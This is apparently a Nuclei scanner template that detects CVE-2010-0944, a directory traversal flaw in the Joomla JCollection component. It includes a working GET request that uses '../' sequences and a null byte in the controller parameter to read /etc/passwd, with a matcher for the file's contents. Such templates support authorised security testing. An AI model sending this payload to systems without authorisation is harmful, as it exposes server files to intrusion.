id: CVE-2010-0944

info:
  name: Joomla! Component com_jcollection - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JCollection (com_jcollection) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11088
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0944
    - http://packetstormsecurity.org/1001-exploits/joomlajcollection-traversal.txt
    - http://www.exploit-db.com/exploits/11088
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/55514
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-0944
    cwe-id: CWE-22
    epss-score: 0.14041
    epss-percentile: 0.96187
    cpe: cpe:2.3:a:thorsten_riess:com_jcollection:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: thorsten_riess
    product: com_jcollection
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,thorsten_riess,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c7b1106b6b21dcbe3c195c8595bb87075e38839c250d0e00cc8d5700e7c29375022100c03a29b24799c0db356050c746130ee39d37deb8bb984b099cbb9c2b8ea9c38c:922c64590222798bb761d5b6d8e72950